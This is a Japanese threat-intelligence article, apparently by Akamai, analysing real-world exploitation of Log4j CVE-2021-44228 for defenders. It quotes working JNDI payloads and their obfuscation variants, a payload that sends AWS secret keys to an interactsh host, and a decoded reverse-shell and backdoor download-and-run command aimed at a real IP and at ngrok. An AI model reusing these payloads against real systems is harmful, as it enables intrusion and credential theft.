Log4j CVE に関する脅威インテリジェンス:主な調査結果とその影響
CVE-2021-44228 に関する調査の続きとして、 Akamai は以前に、 この脆弱性がどのようなものかを説明し、パッチ適用に加えてさらに保護を強化する方法について推奨事項を提示しました。Akamai ネットワークでは、毎日 13 億台のデバイス(重複を除く)からのトラフィックが処理され、1 日あたり最高 182 Tbps というトラフィック量が記録されています。脅威リサーチチームは、このトラフィックを調査し、この脆弱性がどのように悪用されているかについて詳細な知見を得ています。今回は、より多くの技術的な調査結果と、それが脅威ハンターにとってどのような意味を持つのかを共有したいと思います。ここで、この調査結果が示す意味のうち、防御者と脅威ハンターが意識すべき点についていくつか説明します。
- この脆弱性は、攻撃の尾を長く引くことが予想されます。 このソフトウェアが広く使用されており、攻撃のバリエーションが多いため、今後数か月間は攻撃の試みが続き、これから多くの侵害が発覚することが予想されます。今後の攻撃を緩和するために、緊急のパッチ適用を引き続き推奨します。
- 攻撃者は、便乗的なインジェクションを使用し、より標的を絞るようになっています。 攻撃の変異と同様に、攻撃者は可能な限り多くのインジェクションスポットを狙いました。まずユーザーエージェントのような明らかにつけ込みやすいスポットから攻撃を始め、すぐにその矛先を組織固有のパラメーターに向けました。このようなインテリジェンスは、進化する脅威の状況に迅速に対応する Web 防御者にとって非常に有益です。
- 偵察された結果どうなったのかは、数か月の間は全容がわからない可能性があります。 観測されたアクティビティの大部分は偵察またはテストであり、実際の攻撃の割合は比較的少ないものでした。攻撃はパッチやその他の方法で緩和することができますが、この期間にどれだけの侵害が発生したかは不明です。侵害が明らかになり、その規模が判明するまでには時間がかかると思われます。
では、詳細な調査結果を見ていきましょう。
調査結果 1:悪意のあるアクティビティは緩やかに始まり、やがて津波となって襲いかかる
当社の顧客を狙った攻撃の試みが急増するまでには少し時間がかかりましたが、一度急増すると、大きな波が連続して押し寄せました。このことは、攻撃者がより多くの攻撃ベクトル、攻撃のバリエーションを発見し、悪意のあるアクティビティの量が急激に増加したという他の調査結果とも符合します。
他のゼロデイの場合と同様に、攻撃者はこの攻撃方法を即座に採り入れ、攻撃の手段を増やしたのでした。Akamai のデータから、Log4j 攻撃を送信した攻撃インフラの約 57% が、以前の攻撃ですでに Akamai が把握していたものであることがわかります。つまりこの津波は、新しい攻撃者からのものと同じくらいの割合で、既存の攻撃者が便乗して引き起こしたものなのです。
この攻撃の波は世界中に広がりました。当初は米国、シンガポール、ドイツ、ブラジルからの攻撃がほとんどでしたが、さまざまな地域的に大きく広がっていきました。また、AWS や DigitalOcean などの一般的なクラウドプロバイダーがホストしているサーバーからの攻撃もいくつか確認されました。
攻撃 IP の地域が常に移動していることがわかりました。12 月 15 日には、カナダ、ロシア連邦、意外にもルクセンブルク、英国に、Log4j 攻撃を最も多く送信していた不正なマシンがあることが判明しました。
米国は、次に狙われた国(英国)の 5 倍以上狙われていました。また、同じように攻撃の標的となった国が多数ありました。
調査結果 2:前代未聞の攻撃の変異
この脆弱性の影響が甚大であったことに加え、Akamai では、悪用された亜種がかつてないほど進化していることに気づきました。
概念実証のエクスプロイトで示された最初の攻撃ベクトルは、次のとおりでした。
${jndi:ldap://malicious_server_address/}
また、URL エンコードされたペイロードなど、他の分かりやすい回避テクニックもすぐに登場しました。
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
数時間のうちに、攻撃者は「ldap」を特に探している検出を回避するために、「rmi」や「dns」といった他の JNDI レジストリ・サービス・プロバイダーを試し始めました。これは次のように示されます。
${jndi:rmi:// and ${jndi:dns://
Log4j の 2 つのルックアップに関する 既存のドキュメンテーションは、 アタックサーフェスや回避の可能性を理解するために役立ちます。攻撃者と研究者はいずれかのルックアップ命令を使用して、ほとんどの防御者が検知ルールで検索するであろう文字列である「jndi」を含まない、難読化された攻撃のバリエーションを作成しようとしていました。
Log4j は大文字と小文字を区別しないため、最初は最も単純な文字変換ルックアップ命令である「lower」と「upper」が使用されました。
${${lower:j}ndi: and ${${upper:j}ndi:
1 文字だけでなく、任意の長さの文字列をルックアップ関数に指定しても機能します。
${${lower:jnd}i:
攻撃者はすぐに、ユーザー変数を定義できることを発見し、「-」記号を使用してデフォルト値を設定しました。これにより、定義後はこのデフォルト値が返されることになります。これは、「jndi」および「ldap」文字列を難読化するもう 1 つのトリックとなります。
${${x:-j}ndi:
Log4j フレームワークでは、変数に名前を指定する必要がないようですが、攻撃の亜種はそれら「空」の変数名、そして複数の深度を持つ変数を含むようになりました。
${${:-j}ndi: and ${${::::::-j}ndi:
一部の亜種は新しい環境変数を定義するために「env」など他のユーザー命令を使用し始めましたが、「date」は驚いたことに日付形式の指定を強制しない変数でした。
${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
大規模な悪用が開始された後の数日間に登場した、より高度な亜種には、「空」文字列回避も含まれています。攻撃者は、評価時に「空」文字列になるようなルックアップメソッドと式を探していました。つまり、この式が次のような任意の文字の間に注入される可能性があるということです。
${:-}
この「空」文字列のさらに高度な亜種は、システム固有の設定に依存し、次のようなものを注入していました。
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
また、二重の URL エンコード、ユニコード、閉じ括弧「}」のない式など多くのバリエーションがあり、攻撃者が同様に試みていたことが確認されています。
攻撃者が次のような、動作しない攻撃の亜種を試していたことは注目に値します。
$jndi:ldap://
調査結果 3:複数の注入場所、便乗型から標的型へ移行
この調査で、攻撃者は複数の場所にエクスプロイトのペイロードを注入していることがわかりました。最も一般的なエクスプロイトの注入場所は、元の概念実証のエクスプロイトと同様の Query String 引数、User-Agent ヘッダー、そしてリクエストパスで、Web サーバーやアプリケーションがメソッドやリクエストパス、ユーザーエージェントなどの「アクセス」情報を記録していることを想定したものです。
ほとんどの攻撃で、インジェクションは「x」、「test」、「foo」などのさまざまなダミークエリーパラメーターに含まれていました。「url」、「nextUrl」、「_csrfToken」、「_endcoding」、「openid.retrun_to」といった他のクエリーパラメーターも使用されており、これらのパラメーターがログに記録される確率が高いと推測しています。
Cookie、Referer、X-Forwarded-For、Connection など、考えられるあらゆるヘッダーがインジェクションの標的となりました。
多くの攻撃者が、同じリクエストの複数の場所にエクスプロイトを注入してリクエストを送信していました。
調査結果 4:ペイロードの分析により、ブラインド偵察、投下型マルウェア、ポスト・エクスプロイト・ツールの使用が判明
ほとんどの攻撃者は、外部サービスとのやり取りを検知するために、最も一般的なオンラインサービスを利用した「ブラインド」偵察テクニックを用いています。脆弱性によっては、攻撃者が標的となるサービスから直接応答を得て、その脆弱さを確認することができないものもあります。このような場合、Web サイトが脆弱であるかどうかをテストする手法として、攻撃者の管理下にある外部サーバーに接続するためのコードを実行し、その接続をリッスンしようとします。攻撃者のサーバーが特定のサーバーから「ビーコン」を受信すれば、このサーバーが攻撃者のコードの実行に成功したことになります。このようなサーバーを設置して維持する代わりに、ほとんどの攻撃者は、そのために最も一般的なオンラインサービスを使用していました。
ブラインド偵察ビーコンに加え、多くの攻撃者はすでにマシンのホスト名、java:os、java:vm、env:user などの環境データ、さらには AWS アカウントの乗っ取りを容易にする AWS キーなどの有用なデータを盗み出そうとしていました。
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
その他のペイロードには、base64 エンコード済みのペイロードを使用した直接コマンド実行が含まれます。
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
これを解読すると次のようになります。
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
攻撃者は、C2 サーバーへのリバースシェルを開き、スピアヘッドの bash スクリプトをダウンロードして実行し、「burpcollaborator.net」に「DNS」ビーコンを送信してサーバーの脆弱性を確認しています。
攻撃者のアイデンティティを隠すために、「ngrok.io」などのリバース・トンネル・サービスも使用されました。
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
実行されたコマンドは、バックドアをダウンロードするためのものでした。
wget 8.tcp.ngrok.io:14639
このようなトンネルサービスの攻撃者にとっての利点は、攻撃者がマルウェアを自身の公開サーバー上でホストする必要がないことです。自身の公開サーバーでは、当局によって停止または押収される可能性があります。この場合、攻撃者は自身のマシン上でマルウェアとコマンド、コントロールパネルをホストし、正規のトンネルサービスの背後に隠れることができます。一方でこのサービスが、被害者のマシンから攻撃者のマシンへの C2 トラフィックを「中継」することになります。
暗号通貨マイニングや DDoS ボットを展開している脅威攻撃者のほかに、 Windows マシンを標的として大量のスキャンを実行するアグレッシブな攻撃者もいることが確認されています。攻撃者は、Windows の権限昇格ツールとして知られる悪名高い「netcat」バックドアを展開しようとしており、これは、その後のラテラルムーブメントや、ランサムウェアでディスクを暗号化するための権限取得によく使用されます。
これまでに観測された攻撃全体のうち、ランサムウェアに関連するものはごく一部に過ぎません。
今後も引き続き調査
データに関する重要な知見をいくつか明らかにしましたが、まだ終わりではありません。Akamai の脅威インテリジェンス、セキュリティ調査およびインシデント対応チームは、その可視性とインテリジェンスを活用して、引き続きインフラと顧客を監視し、保護していきます。